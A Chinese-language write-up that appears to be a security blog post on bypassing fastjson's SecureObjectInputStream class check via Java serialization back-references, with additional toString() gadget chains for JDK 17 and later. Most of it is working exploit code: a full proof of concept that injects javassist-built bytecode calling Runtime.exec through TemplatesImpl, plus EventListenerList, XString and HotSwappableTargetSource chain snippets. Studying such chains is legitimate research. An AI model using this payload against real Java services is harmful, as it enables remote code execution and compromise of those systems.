从上文我们可知,在其SecureObjectInputStream类当中重写了resolveClass,通过调用了checkAutoType方法做类的检查,这样真的是安全的么?

初看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理时,触发resolveClass实现对恶意类的拦截

因此我们就需要找找看在哪些情况下readObject的时候不会调用resolveClass,答案就是引用(具体分析看引用原文)

那么现在要解决的就是如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,这里以List为例,

1
2
3
4
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

在java.io.ObjectOutputStream#writeObject0方法中存在一个判断,当再次写入同一对象时,如果在handles这个哈希表中查到了映射,就会通过writeHandle方法将重复对象以REFERENCE类型写入,因此向List、Set及Map类型中添加同样对象时即可成功利用

序列化时,先将templates加入ArrayList,后续在JSONArray中再次序列化TemplatesImpl时,由于在handles这个哈希表中查到了映射,后续则会以引用形式输出。反序列化时,ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Main {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void main(String[] args) throws Exception{


TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "sherlock");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}

高版本的一些绕过

jdk>=17的时候发现BadAttributeValueExpException.readObject()无法作为source,因此就需要找其他的触发toString()的链拼起来

其他触发toString()

EventListenerList

利用链:EventListenerList.readObject() -> UndoManager#toString() ->Vector#toString()

利用代码

1
2
3
4
5
6
7
Vector vector = new Vector();
vector.add(jsonArray);
UndoManager undoManager = new UndoManager();
setField(undoManager,"edits",vector);
EventListenerList eventListenerList = new EventListenerList();
setField(eventListenerList,"listenerList",new Object[]{Class.class,undoManager});
unser(ser(eventListenerList));

调用栈

1
2
3
4
5
6
toString:886, JSONArray (com.alibaba.fastjson2)
toString:266, CompoundEdit (javax.swing.undo)
toString:695, UndoManager (javax.swing.undo)
add:213, EventListenerList (javax.swing.event)
readObject:309, EventListenerList (javax.swing.event)
readObject:467, ObjectInputStream (java.io)

XString

HashMap#readObject()->putVal()->equals()->XString.equals()->toString()

自己写了个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static HashMap getXString(Object obj) throws Exception{
//obj传入待触发toString()的,可根据实际情况把XString换了,用来接任意equals

XString xstring=new XString("");
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
hashMap1.put("zZ",obj);
hashMap1.put("yy",xstring);

hashMap2.put("zZ",xstring);
hashMap2.put("yy",obj);

HashMap hashMap = new HashMap();
hashMap.put("hashMap1", 1);
hashMap.put("hashMap2", 2);
setHashMapKey(hashMap,"hashMap1",hashMap1);//避免提前触发抛异常导致程序无法继续进行
setHashMapKey(hashMap,"hashMap2",hashMap2);

return hashMap;
}

HotSwappableTargetSource

利用链:HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

HotSwappableTargetSource类的hashCode()方法始终返回定值

img

为后续在putVal()中判断哈希冲突提供了可利用条件

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    public static void main(String[] args) throws Exception {

JSONArray jsonArray = new JSONArray();
jsonArray.add(getTemplates());
unser(ser(getHotSwappableTargetSource(jsonArray)));


}


public static HashMap getHotSwappableTargetSource(Object obj) throws Exception{

HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(obj);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("x"));

HashMap hashMap = new HashMap();
hashMap.put("1", hotSwappableTargetSource1);
hashMap.put("2", hotSwappableTargetSource2);
setHashMapKey(hashMap,"1",hotSwappableTargetSource1);
setHashMapKey(hashMap,"2",hotSwappableTargetSource2);

return hashMap;
}